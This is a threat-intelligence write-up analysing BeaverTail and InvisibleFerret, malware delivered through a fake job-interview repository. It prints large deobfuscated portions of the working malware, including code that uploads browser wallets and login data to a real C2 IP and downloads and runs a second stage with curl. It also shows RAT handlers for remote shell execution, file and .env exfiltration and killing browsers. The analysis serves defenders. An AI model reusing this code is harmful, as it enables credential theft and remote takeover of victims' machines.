Analyzing North Korean Malware

Analyzing North Korean Malware

Author: Supitto

This article is a mirror of the article that can be found HERE All the files from these articles can be found at https://github.com/team-bytesized/article_dprk_12_2024

About the campaign

We came across this campaign when a user reported that they were offered a job through LinkedIn, and that the "challenge" presented by the recruiter contained malware.
These are the hallmark traits of BeaverTail and InvisibleFerret, which is commonly attributed to the Democratic People's Republic of Korea APTs. Through further investigation, that we can't currently disclose, we were able to further identify other TTPs linked with the Democratic People's Republic of Korea.
This campaign was initially tracked by Unity42 as Contagious Interview (CL-STA-0240), CrowdStrike attributes it to Tenacious Pungsan, SecurityScoreCard attributes it to Famous Chollima, and some other sources attributes it to lazarus.

Getting to the sample

The sample resides on the bitbucket repository "voting-dapp" (mirror is here) from the user coinbase2024. At first glance, it looks like a normal project that would be handed out during a hiring process.
Once we dug deeper into the files, we noticed that one of the test files was abnormally large
And on the bottom of this file, we can find the malware. Meaning that the malware activated when the developer executed the test cases (usually during builds).


This NodeJS malware is BeaverTail.

Unpacking and Analyzing BeaverTail

The BeaverTail malware on this campaign is exceedingly not obfuscated, websites such as https://deobfuscate.io/ are able to do 90% of the job. We went an extra step and removed most of the anti analysis tech, cleaned really well, and renamed all the variables in a way that it becomes understandable. (You can check the full file HERE)
This is the main function of the BeaverTail malware


const main_function = async () => {
    try {
    const time_in_seconds = Math.round(new Date().getTime() / 1000);
    await (async () => {
        try {
        await prepare_to_upload_wallets_to_c2(path_to_chrome_appdata, 0, time_in_seconds);
        await prepare_to_upload_wallets_to_c2(path_to_brave_appdata, 1, time_in_seconds);
        await prepare_to_upload_wallets_to_c2(path_to_opera_appdata, 2, time_in_seconds);
        upload_exodus_wallet_info_to_c2(time_in_seconds);
        if ('w' == platform[0]) { //windows
            await upload_wallets_to_c2(append_slash_if_necessary('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, time_in_seconds);
        }
        if ('d' == platform[0]) { // mac
            await upload_keychain_and_login_data_to_c2(time_in_seconds);
        } else { // linux
            await upload_browser_local_state_to_c2(path_to_chrome_appdata, 0, time_in_seconds);
            await upload_browser_local_state_to_c2(path_to_brave_appdata, 1, time_in_seconds);
            await upload_browser_local_state_to_c2(path_to_opera_appdata, 2, time_in_seconds);
        }
        } catch (e) {}
    })();
    deploy_and_run_second_stage();
    } catch (e) {}
};
    

First it tries to upload all crypto wallets from the browser through prepare_to_upload_wallets_to_c2 and upload_wallets_to_c2


        const fs = require('fs');
        const os = require('os');
        const path = require("path");
        const request = require("request");
        const platform = os.platform();
        const append_slash_if_necessary = v => v.replace(/^~([a-z]+|\/)/, (var_a, var_b) => '/' === var_b ? homedir : path.dirname(homedir) + '/' + var_b);
        const path_to_brave_appdata = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
        const path_to_chrome_appdata = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
        const path_to_opera_appdata = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
        const wallet_extension_names = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
        
        const prepare_to_upload_wallets_to_c2 = async (known_path_to_browser_config, id_prefix, current_time) => {
          try {
            let path_to_browser = '';
            if (platform[0] == 'd') { // mac
              path_to_browser = append_slash_if_necessary('~/') + "/Library/Application Support/" + known_path_to_browser_config[1]
            } else if (platform[0] == 'l') { //linux
              path_to_browser = append_slash_if_necessary('~/') + "/.config/" + known_path_to_browser_config[2]
            } else { // windows
              path_to_browser = append_slash_if_necessary('~/') + "/AppData/" + known_path_to_browser_config[0] + "/User Data"
            }
        
            upload_wallets_to_c2(path_to_browser, id_prefix + '_', 0 == id_prefix, current_time);
          } catch (e) {}
        };
        
        function check_if_dir_is_accessible(dir_path) {
          try {
            fs.accessSync(dir_path);
            return true;
          } catch (e) {
            return false;
          }
        }
        
        const upload_files_to_c2 = (file_queue, current_time) => {
          const dev_state = {
            gt: function(a, b) {
              return a > b;
            }
          };
          dev_state.dev_switch = "PKaRH";
          const form_data = {
            type: '10',
            hid: "103_" + hostname,
            uts: current_time,
            multi_file: file_queue
          };
          try { // this is probably a switch for the malware dev, or to switch C2s between local and remote
            if (dev_state.dev_switch !== "PKaRH") {
              if (file_queue.length > 0) {
                const args = {
                  url: unknow_url + "/uploads",
                  formData: unknow_files
                };
                unknow_library.post(args, (_a, _b, _c) => {});
              }
            } else {
              if (file_queue.length > 0) {
                const args = {
                  url: "http://185.153.182.241:1224/uploads",
                  formData: form_data
                };
                request.post(args, (_a, _b, _c) => {});
              }
            }
          } catch (e) {}
        

There is no sophistication here, the malware just make a list of names, file handlers, and send them as a multipart form data to http://c2/upload. The only notable portion here, is that the malware dev left a snippet behind from probably development phase. In it we can see the attribution of the string "PKaRH" as a switch to change C2s. I currently can't find that string in other infostealer (as of the time of writing), but this may be a good sub string to identify other malware from the same strand.
The array full of jumbled letters are actually chrome extensions ids, in this case they are all crypto wallets. Here is a mapping of those strings map to:



        nkbihfbeogaeaoehlefnkodbefgpgknn -> MetaMask
        ejbalbakoplchlghecdalmeeeajnimhm -> MetaMask (edge)
        fhbohimaelbohpjbbldcngcnapndodjp -> BNB Chain Wallet
        ibnejdfjmmkpcnlpebklmnkoeoihofec -> TronLink
        bfnaelmomeimhlpmgjnjophhpkkoljpa -> Phantom
        aeachknmefphepccionboohckonoeemg -> Coin98 Wallet
        hifafgmccdpekplomjjkcfgodnhcellj -> Crypto.com | Onchain Extension
        jblndlipeogpafnldhgmapagcccfchpi -> Kaia Wallet
        acmacodkjbdgmoleebolmdjonilkdbch -> Rabby Wallet
        dlcobpjiigpikoobohmabehhmhfoodbb -> Argent X - Starknet Wallet
        mcohilncbfahbmgdjkbpemcciiolgcge -> OKX Wallet
        agoakfejjabomempkjlepdflaleeobhb -> Core | Crypto Wallet & NFT Extension
        omaabbefbmiijedngplfjmnooppbclkk -> Tonkeeper - wallet for TON
        aholpfdialjgjfhomihkjbmgjidlcdno -> Exodus Web3 Wallet
        nphplpgoakhhjchkkhmiggakijnkhfnd -> TON Wallet
        penjlddjkjgpnkllboccdgccekpkcbin -> OpenMask - TON wallet
        lgmpcpglpngdoalbgeoldeajfclnhafa -> SafePal Extension Wallet
        fldfpgipfncgndfolcbkdeeknbbbnhcc -> MyTonWallet · My TON Wallet
        bhhhlbepdkbapadjdnnojkbgioiodbic -> Solflare Wallet
        gjnckgkfmgmibbkoficdidcljeaaaheg -> Atomic Wallet
        afbcbjpbpfadlkmhmclhkeeodmamcflc -> MathWallet
        

The upload_browser_local_state_to_c2 is just a more condensed version of the pair prepare_to_upload_wallets_to_c2 and upload_wallets_to_c2. It does generally the same thing, but with browser profiles (the first 200).



        const fs = require('fs');
        const os = require('os');
        const path = require("path");
        const request = require("request");
        const platform = os.platform();
        const append_slash_if_necessary = v => v.replace(/^~([a-z]+|\/)/, (var_a, var_b) => '/' === var_b ? homedir : path.dirname(homedir) + '/' + var_b);
        
        const upload_browser_local_state_to_c2 = async (browser_path, id_prefix, current_time) => {
          let file_queue = [];
          let browser_config_path = '';
        
          if (platform[0] == 'd') {
            browser_config_path += append_slash_if_necessary('~/') + "/Library/Application Support/" + browser_path[1]
          } else if (platform[0] == 'l') {
            browser_config_path += append_slash_if_necessary('~/') + "/.config/" + browser_path[2]
          } else {
            browser_config_path += append_slash_if_necessary('~/') + "/AppData/" + browser_path[0] + "/User Data"
          }
        
          let browser_local_state_path = browser_config_path + "/Local State";
          if (fs.existsSync(browser_local_state_path)) {
            try {
              const options = {
                filename: id_prefix + "_lst"
              };
              file_queue.push({
                'value': fs.createReadStream(browser_local_state_path),
                'options': options
              });
            } catch (e) {}
          }
        
          try {
            if (check_if_dir_is_accessible(browser_config_path)) {
              for (let i = 0; i < 200; i++) {
                const profile_path = browser_config_path + '/' + (0 === i ? "Default" : "Profile " + i);
                try {
                  if (!check_if_dir_is_accessible(profile_path)) {
                    continue;
                  }
                  const full_path = profile_path + "/Login Data";
                  if (!check_if_dir_is_accessible(full_path)) {
                    continue;
                  }
                  const options = {
                    filename: id_prefix + '_' + i + "_uld"
                  };
                  file_queue.push({
                    'value': fs.createReadStream(full_path),
                    'options': options
                  });
                } catch (e) {}
              }
            }
          } catch (e) {}
          upload_files_to_c2(file_queue, current_time);
          return file_queue;
        };
        
        const upload_files_to_c2 = (file_queue, current_time) => {
          const dev_state = {
            gt: function(a, b) {
              return a > b;
            }
          };
          dev_state.dev_switch = "PKaRH";
          const form_data = {
            type: '10',
            hid: "103_" + hostname,
            uts: current_time,
            multi_file: file_queue
          };
          try { // this is probably a switch for the malware dev, or to switch C2s between local and remote
            if (dev_state.dev_switch !== "PKaRH") {
              if (file_queue.length > 0) {
                const args = {
                  url: unknow_url + "/uploads",
                  formData: unknow_files
                };
                unknow_library.post(args, (_a, _b, _c) => {});
              }
            } else {
              if (file_queue.length > 0) {
                const args = {
                  url: "http://185.153.182.241:1224/uploads",
                  formData: form_data
                };
                request.post(args, (_a, _b, _c) => {});
              }
            }
          } catch (e) {}
        

One notable thing about this, is the lacking of calls to windows in order to decrypt the chrome browser information. In my opinion, this means one of three things (and feel free to send your teories in the comments):

Beyond that, the only sophistication we've seen so far is that this portion of the malware, is that there are slight adjustments depending on the user platform, making this so far, a very simple piece of malware.


Finally, the most interesting portion of BeaverTail, the deploy_and_run_second_stage function, which is going to download InvisibleFerret



        const fs = require('fs');
        const child_process = require("child_process").exec;
        const request = require("request");
        
        let python_download_current_size = 0;
        
        const untar = async tar_name => {
          child_process("tar -xf " + tar_name + " -C " + homedir, (success, _b, _c) => {
            if (success) {
              fs.rmSync(tar_name);
              return void(python_download_current_size = 0);
            }
            fs.rmSync(tar_name);
            deploy_and_run_second_stage();
          });
        };
        
        function setup_to_download_again() {
          setTimeout(() => {
            download_python();
          }, 20000);
        }
        
        const download_python = () => {
          const p_zi_path = tmp_dir + "\\p.zi";
          const p2_zip_path = tmp_dir + "\\p2.zip";
          if (python_download_current_size >= 51476596) {
            return;
          }
          if (fs.existsSync(p_zi_path)) {
            try {
              var p_zi_props = fs.statSync(p_zi_path);
              if (p_zi_props.size >= 51476596) {
                python_download_current_size = p_zi_props.size;
                fs.rename(p_zi_path, p2_zip_path, possible_error => {
                  if (possible_error) {
                    throw possible_error;
                  }
                  untar(p2_zip_path);
                });
              } else {
                if (python_download_current_size < p_zi_props.size) {
                  python_download_current_size = p_zi_props.size;
                } else {
                  fs.rmSync(p_zi_path);
                  python_download_current_size = 0;
                }
                setup_to_download_again();
              }
            } catch (e) {}
          } else {
            child_process("curl -Lo \"" + p_zi_path + "\" \"" + "http://185.153.182.241:1224/pdown" + "\"", (success, _b, _b) => {
              if (success) {
                python_download_current_size = 0;
                return void setup_to_download_again();
              }
              try {
                python_download_current_size = 51476596;
                fs.renameSync(p_zi_path, p2_zip_path);
                untar(p2_zip_path);
              } catch (e) {}
            });
          }
        };
        
        const deploy_and_run_second_stage = async () => await new Promise((_s, _err) => {
          if ('w' == platform[0]) {
            if (fs.existsSync(homedir + "\\.pyp\\python.exe")) {
              (() => {
                const sys_info_path = homedir + "/.sysinfo";
                const command_to_run_sys_info = "\"" + homedir + "\\.pyp\\python.exe\" \"" + sys_info_path + "\"";
                try {
                  fs.rmSync(sys_info_path);
                } catch (e) {}
                request.get("http://185.153.182.241:1224/client/10/103", (success, _b, data) => {
                  if (!success) {
                    try {
                      fs.writeFileSync(sys_info_path, data);
                      child_process(command_to_run_sys_info, (_a, _b, _c) => {});
                    } catch (e) {}
                  }
                });
              })();
            } else {
              download_python();
            }
          } else {
            (() => {
              request.get("http://185.153.182.241:1224/client/10/103", (success, _b, data) => {
                if (!success) {
                  fs.writeFileSync(homedir + "/.sysinfo", data);
                  child_process("python3 \"" + homedir + "/.sysinfo\"", (_a, _b, _c) => {});
                }
              });
            })();
          }
        });
    

Here, BeaverTail takes a slightly different approach than the norm, on windows it downloads a tar file with all the dependencies necessary, and on Linux it trusts that the machine will be ready to run the malware. This is interesting, because it assumes that tar is installed on the windows machine, which is only true for more "modern" systems
There is one slight more sophisticated portion controlling/checking the download status by looking at the file size, and retrying in case of any weirdness, which is refreshing to see.
I haven't personally checked, but I believe that none of the python dependencies are adulterated. Now we can move to a different portion of the code, the python one.
Unpacking InvisibleFerret
Once again there is not much in the side of actual obfuscation here, only a matrioska approach where the code need to be reversed, decoded, and decompressed over and over again. It looks like this



        _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==QoVZ9uP4///9T5pA3Q...YRAYE5SUzlNwJe'))
        

We ended making a simple script that turns this into the de obfuscated version



        import zlib
        import base64
        import sys
        
        with open(sys.argv[1],'r') as f:
         pl = f.read()
        
        def decompress(pl):
          try:
            pl = pl[::-1]
            pl = base64.b64decode(pl)
            pl = zlib.decompress(pl)
            return pl
          except:
            print("ERROR")
            print(pl)
            exit()
        
        while True:
        
            pl = decompress(pl)
        
            if (pl[0:9] == b"exec((_)("):
                pl = pl[11:-3]
            else:
                print(pl.decode())
                break
                

And lo and behold, there is no further obfuscation here, the developers left everything intact. There are even original variable names and comments, which is quite rare. Bonus points for the malware devs for making it easier for us.
The landing module
The first code downloaded after the BeaverTail portion is really small so I can put it all here:



        import base64, platform, os, subprocess, sys
        
        try:
            import requests
        except:
            subprocess.check_call([sys.executable, "-m", "pip", "install", "requests"])
            import requests
        
        sType = "10"
        gType = "103"
        ot = platform.system()
        home = os.path.expanduser("~")
        # host1 = "10.10.51.212"
        host1 = "185.153.182.241"
        host2 = f"http://{host1}:1224"
        pd = os.path.join(home, ".n2")
        ap = pd + "/pay"
        
        def download_payload():
            if os.path.exists(ap):
                try:
                    os.remove(ap)
                except OSError:
                    return True
            try:
                if not os.path.exists(pd):
                    os.makedirs(pd)
            except:
                pass
        
            try:
                if ot == "Darwin":
                    # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
                    aa = requests.get(
                        host2 + "/payload/" + sType + "/" + gType, allow_redirects=True
                    )
                    with open(ap, "wb") as f:
                        f.write(aa.content)
                else:
                    aa = requests.get(
                        host2 + "/payload/" + sType + "/" + gType, allow_redirects=True
                    )
                    with open(ap, "wb") as f:
                        f.write(aa.content)
                return True
            except Exception as e:
                return False
        
        res = download_payload()
        if res:
            if ot == "Windows":
                subprocess.Popen(
                    [sys.executable, ap],
                    creationflags=subprocess.CREATE_NO_WINDOW
                    | subprocess.CREATE_NEW_PROCESS_GROUP,
                )
            else:
                subprocess.Popen([sys.executable, ap])
        
        if ot == "Darwin":
            sys.exit(-1)
        
        ap = pd + "/bow"
        
        def download_browse():
            if os.path.exists(ap):
                try:
                    os.remove(ap)
                except OSError:
                    return True
            try:
                if not os.path.exists(pd):
                    os.makedirs(pd)
            except:
                pass
            try:
                aa = requests.get(
                    host2 + "/brow/" + sType + "/" + gType, allow_redirects=True
                )
                with open(ap, "wb") as f:
                    f.write(aa.content)
                return True
            except Exception as e:
                return False
        
        res = download_browse()
        if res:
            if ot == "Windows":
                subprocess.Popen(
                    [sys.executable, ap],
                    creationflags=subprocess.CREATE_NO_WINDOW
                    | subprocess.CREATE_NEW_PROCESS_GROUP,
                )
            else:
                subprocess.Popen([sys.executable, ap])
        
        ap = pd + "/mlip"
        
        def download_mclip():
            if os.path.exists(ap):
                try:
                    os.remove(ap)
                except OSError:
                    return True
            try:
                if not os.path.exists(pd):
                    os.makedirs(pd)
            except:
                pass
            try:
                aa = requests.get(
                    host2 + "/mclip/" + sType + "/" + gType, allow_redirects=True
                )
                with open(ap, "wb") as f:
                    f.write(aa.content)
                return True
            except Exception as e:
                return False
        
        res = download_mclip()
        if res:
            if ot == "Windows":
                subprocess.Popen(
                    [sys.executable, ap],
                    creationflags=subprocess.CREATE_NO_WINDOW
                    | subprocess.CREATE_NEW_PROCESS_GROUP,
                )
            else:
                subprocess.Popen([sys.executable, ap])
        


You can also look at it HERE

As we can see, it creates a .n2 on the user home directory and download three other code portions, one for stealing browser information (/bow), one for stealing clipboard information (/mclip), and a RAT (/payload).
One notable thing we can find are the variables sType and gType. We currently don't have confirmation, but we believe them to be just identification codes from different campaigns, since changing them only change the parameters inside the downloaded code, but not the code itself.
As an added bonus, we also identified that the gType 'root' is also valid.

The browser stealer

The browser stealer is finally something closer to what we are used to see on stealers, which probably means that the js one is either legacy, or just junk they used to download the actual malware.
There is not much difference between this code and all the other browser stealers in the wild. It fetches all your credit cards, all you passwords, all you sessions and send them to http://c2/key as part of a json object.
The only interesting portions are that while most browser stealers are messy, this one is well structured. Every browser have a class and inherits properties from another class for the underlying engine, and so forth. It does not change the behavior at all, but it shows that they are trying to do an expandable codebase.
The other interesting portion is the inclusion of the yandex browser, something that I haven't seen before, and that might show that this is also targeting Russian audiences.
You can read the whole code HERE

The mclip stealer

In here they create a window using wxPython and capture all key presses through it, making it a very basic keylogger. The only interesting bit here, is that every once in a while they send the text to https://new_c2/api/mclip, meaning that they are using a different server to receive the keylogger data. We still don't know why this is the case, but it strikes as odd
You can read the whole code HERE

The RAT

Now this is the most interesting part, whenever you are downloading the RAT script ("/payload/" + sType + "/" + gType), the port changes depending on sType and gType, meaning they are using different ports for pairs of different identifiers. In fact, if you scan the C2, you will find a good number of open ports, and they are all for the RATs.

You can read the whole code HERE

The RAT starts by gathering information on the machine and sending it to the same /keys endpoint we've seen before. After that it opens a tcp connection to the c2 and waits for a command. These are the actions it accepts

ssh_obj

This action executes a terminal command and returns back the code to c2


        def ssh_obj(A, args):
            o = ""
            try:
                a = args[_A]
                cmd = args["cmd"]
                if cmd == "":
                    o = ""
                elif cmd.split()[0] == "cd":
                    proc = subprocess.Popen(cmd, shell=_T)
                    if len(cmd.split()) != 1:
                        p = " ".join(cmd.split()[1:])
                        if os.path.exists(p):
                            os.chdir(p)
                    o = os.getcwd()
                else:
                    proc = subprocess.Popen(
                        cmd,
                        shell=_T,
                        stdin=subprocess.PIPE,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.PIPE,
                    ).communicate()
                    try:
                        o = decode_str(proc[0])
                        err = decode_str(proc[1])
                    except:
                        o = proc[0]
                        err = proc[1]
                    o = o if o else err
            except:
                pass
            p = {_A: a, _O: o}
            A.send(code=1, args=p)
        

ssh_cmd

This action kills the malware by ending all python processes



        def ssh_cmd(A, args):
            try:
                if os_type == "Windows":
                    subprocess.Popen("taskkill /IM /F python.exe", shell=_T)
                else:
                    subprocess.Popen("killall python", shell=_T)
            except:
                pass
        

ssh_clip

This action sends clipboard and keylogger information. The e_buf stores those information on other pieces of the code, you can read them HERE.


        def ssh_clip(A, args):
            global e_buf
            try:
                A.send(code=3, args=e_buf)
                e_buf = ""
            except:
                pass
        

ssh_run

This downloads again and run the browser module. You can read the full code of the browser module HERE.


        def ssh_run(A, args):
            try:
                a = args[_A]
                p = A.par_dir + "/bow"
                res = A.bro_down(p)
                if res:
                    if os_type == "Windows":
                        subprocess.Popen(
                            [sys.executable, p],
                            creationflags=subprocess.CREATE_NO_WINDOW
                            | subprocess.CREATE_NEW_PROCESS_GROUP,
                        )
                    else:
                        subprocess.Popen([sys.executable, p])
                o = os_type + " get browse"
            except Exception as e:
                o = f"Err4: {e}"
                pass
            p = {_A: a, _O: o}
            A.send(code=4, args=p)
        

ssh_upload

This action does multiple upload subactions, those are:


        import ast
        
        def ld(rd, pd):
            dir = os.path.join(rd, pd)
            res = []
            res.append((pd, ""))
            sa = os.listdir(dir)
            for x in sa:
                fn = os.path.join(dir, x)
                try:
                    x0 = x.lower()
                    if os.path.isfile(fn):
                        ff, fe = os.path.splitext(x0)
                        if not fe in ex_files and os.path.getsize(fn) < 104857600:
                            res.append((pd, x))
                    elif os.path.isdir(fn):
                        if not x in ex_dirs and not x0 in ex_dirs:
                            if pd != "":
                                t = pd + "/" + x
                            else:
                                t = x
                            res = res + ld(rd, t)
                except:
                    pass
            return res
        
        def ss_upd(A, D, args, sd, name):
            A.cp_stop = 0
            t = _N
            try:
                if sd == ".":
                    sd = os.getcwd()
                A.send_5(D, " >> upload start: " + sd)
                res = ld(sd, "")
                A.send_5(D, "  -count: " + str(len(res) - 1))
                for x, y in res:
                    if A.cp_stop == 1:
                        A.send_5(D, " upload stopped ")
                        return
                    if y == "":
                        continue
                    A.ss_hup(os.path.join(sd, y), D, name, 5)
                A.send_5(D, " uploaded success ")
            except Exception as ex:
                o = " copy error :" + str(ex)
                A.send_5(D, o)
        
        def ss_hup(A, sn, D, name, n):
            try:
                up_time = str(int(time.time()))
                files = [
                    (
                        "multi_file",
                        (up_time + "_" + os.path.basename(sn), open(sn, "rb")),
                    ),
                ]
                r = {
                    "type": sType,
                    "hid": gType + "_" + sHost,
                    "uts": name,
                }
                host2 = f"http://{HOST}:{PORT}"
                requests.post(host2 + "/uploads", files=files, data=r)
                if os.path.basename(sn) != "flist":
                    write_flist(up_time + "_" + os.path.basename(sn) + " : " + sn + "\n")
                    o = " copied " + fmt_s(os.path.getsize(sn)) + ":  " + os.path.basename(sn)
                    A.send_n(D, n, o)
                else:
                    os.remove(sn)
            except Exception as e:
                o = " failed: " + sn + " > " + str(e)
                A.send_n(D, n, o)
        
        def ss_upf(A, admin, args, sfile, name):
            D = admin
            A.cp_stop = 0
            t = _N
            try:
                sdir = os.getcwd()
                A.send_5(D, " >> upload start: " + sdir + " " + sfile)
                sn = os.path.join(sdir, sfile)
                A.ss_hup(sn, D, name, 5)
                A.send_5(D, " uploaded done ")
            except Exception as ex:
                o = " copy error :" + str(ex)
                A.send_5(D, o)
        
        def ss_ufind(A, D, args, name, pat):
            A.cp_stop = 0
            t = _N
            try:
                A.send_5(D, " >> ufind start: " + os.getcwd())
                if os_type == "Windows":
                    command = (
                        "dir /b /s "
                        + pat
                        + ' | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
                    )
                else:
                    command = (
                        'find . -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name '
                        + pat
                        + " -print"
                    )
                proc = subprocess.Popen(
                    command,
                    shell=True,
                    stdin=subprocess.PIPE,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                ).communicate()
        
                dirs = proc[0].decode("utf8").split("\n")
                if dirs == [""]:
                    A.send_5(D, "  -count: " + str(0))
                    A.send_5(D, " Not exist ")
                else:
                    A.send_5(D, "  -count: " + str(len(dirs) - 1))
                    for key in dirs:
                        if A.cp_stop == 1:
                            A.send_5(D, " upload stopped ")
                            break
                        if key.strip() == "":
                            continue
                        A.ss_hup(key.strip(), D, name, 5)
                    A.send_5(D, " ufind success ")
            except Exception as ex:
                o = " copy error :" + str(ex)
                A.send_5(D, o)
        
        def ss_ups(A):
            A.cp_stop = 1
        
        def ssh_upload(A, args):
            o = ""
            try:
                D = args[_A]
                cmd = args["cmd"]
                cmd = ast.literal_eval(cmd)
                if "sdir" in cmd:
                    sdir = cmd["sdir"]
                    dn = cmd["dname"]
                    sdir = sdir.strip()
                    dn = dn.strip()
                    A.ss_upd(D, cmd, sdir, dn)
                    return _T
                elif "sfile" in cmd:
                    sfile = cmd["sfile"]
                    dn = cmd["dname"]
                    sfile = sfile.strip()
                    dn = dn.strip()
                    A.ss_upf(D, cmd, sfile, dn)
                    return _T
                elif "sfind" in cmd:
                    dn = cmd["dname"]
                    pat = cmd["sfind"]
                    dn = dn.strip()
                    pat = pat.strip()
                    A.ss_ufind(D, cmd, dn, pat)
                    return _T
                else:
                    A.ss_ups()
                    o = "Stopped ..."
            except Exception as e:
                print("error_upload:", str(e))
                o = f"Err4: {e}"
                pass
            A.send_5(D, o)
        
        ssh_kill
        This action kill all chrome and brave instances
        def ssh_kill(A, args):
            D = args[_A]
            if os_type == "Windows":
                try:
                    subprocess.Popen("taskkill /IM chrome.exe /F")
                except:
                    pass
                try:
                    subprocess.Popen("taskkill /IM brave.exe /F")
                except:
                    pass
            else:
                try:
                    subprocess.Popen("killall Google\ Chrome")
                except:
                    pass
                try:
                    subprocess.Popen("killall Brave\ Browser")
                except:
                    pass
            p = {_A: D, _O: "Chrome & Browser are terminated"}
            A.send(code=6, args=p)
            

ssh_any

This downloads and executes a third stage aimed at using AnyDesk as remote access tool. In the past the malware itself downloaded and installed AnyDesk, but we were unable to identify it on the current C2, which may mean that it is now a legacy feature.


        def down_any(A, p):
            if os.path.exists(p):
                try:
                    os.remove(p)
                except OSError:
                    return _T
            try:
                if not os.path.exists(A.par_dir):
                    os.makedirs(A.par_dir)
            except:
                pass
            host2 = f"http://{HOST}:{PORT}"
            try:
                myfile = requests.get(host2 + "/adc/" + sType, allow_redirects=_T)
                with open(p, "wb") as f:
                    f.write(myfile.content)
                return _T
            except Exception as e:
                return _F
        
        def ssh_any(A, args):
            try:
                D = args[_A]
                p = A.par_dir + "/adc"
                res = A.down_any(p)
                if res:
                    if os_type == "Windows":
                        subprocess.Popen(
                            [sys.executable, p],
                            creationflags=subprocess.CREATE_NO_WINDOW
                            | subprocess.CREATE_NEW_PROCESS_GROUP,
                        )
                    else:
                        subprocess.Popen([sys.executable, p])
                o = os_type + " get anydesk"
            except Exception as e:
                o = f"Err7: {e}"
                pass
            p = {_A: D, _O: o}
            A.send(code=7, args=p)
        

ssh_env

This action look for development files on the whole disk and send them to the directly C2


        def ss_hup(A, sn, D, name, n):
            try:
                up_time = str(int(time.time()))
                files = [
                    (
                        "multi_file",
                        (up_time + "_" + os.path.basename(sn), open(sn, "rb")),
                    ),
                ]
                r = {
                    "type": sType,
                    "hid": gType + "_" + sHost,
                    "uts": name,
                }
                host2 = f"http://{HOST}:{PORT}"
                requests.post(host2 + "/uploads", files=files, data=r)
                if os.path.basename(sn) != "flist":
                    write_flist(up_time + "_" + os.path.basename(sn) + " : " + sn + "\n")
                    o = " copied " + fmt_s(os.path.getsize(sn)) + ":  " + os.path.basename(sn)
                    A.send_n(D, n, o)
                else:
                    os.remove(sn)
            except Exception as e:
                o = " failed: " + sn + " > " + str(e)
                A.send_n(D, n, o)
         
        def ss_uenv(A, D, C):
            proc = subprocess.Popen(
                C,
                shell=True,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            ).communicate()
        
            dirs = proc[0].decode("utf8").split("\n")
            if dirs == [""]:
                A.send_n(D, 8, "  -count: " + str(0))
            else:
                A.send_n(D, 8, "  -count: " + str(len(dirs) - 1))
                for key in dirs:
                    if A.cp_stop == 1:
                        A.send_n(D, 8, " upload stopped ")
                        break
                    if key.strip() == "":
                        continue
                    A.ss_hup(key.strip(), D, "global_env", 8)
        
        def ssh_env(A, args):
            drive_list = ["C", "D", "E", "F", "G"]
            A.cp_stop = 0
            try:
                a = args[_A]
                c = args["cmd"]
                c = ast.literal_eval(c)
                A.send_n(a, 8, "--- uenv start ")
                if os_type == "Windows":
                    for key in drive_list:
                        if os.path.exists(f"{key}:\\") == False:
                            continue
                        c = (
                            "dir /b /s "
                            + key
                            + ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
                        )
                        A.ss_uenv(a, c)
                else:
                    c = 'find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
                    A.ss_uenv(a, c)
                A.send_n(a, 8, "--- uenv success ")
            except Exception as e:
                A.send_n(a, 8, " uenv err: " + str(e))
        

AnyDesk Module

This module of the malware seems to be a legacy code that remains from previous iterations. Specially because we were able to track it down to code samples at least 10 months old with unauthered parameters.

You can read the whole code HERE

In short, it supposes that AnyDesk is already installed, and sets it up so the attackers can remote into the users' machine. This is the setup script it tries to run


        $stream_reader = New-Object System.IO.StreamReader($file_path)
        $output_file_path = $file_path + "d"
        $stream_writer = New-Object System.IO.StreamWriter($output_file_path)
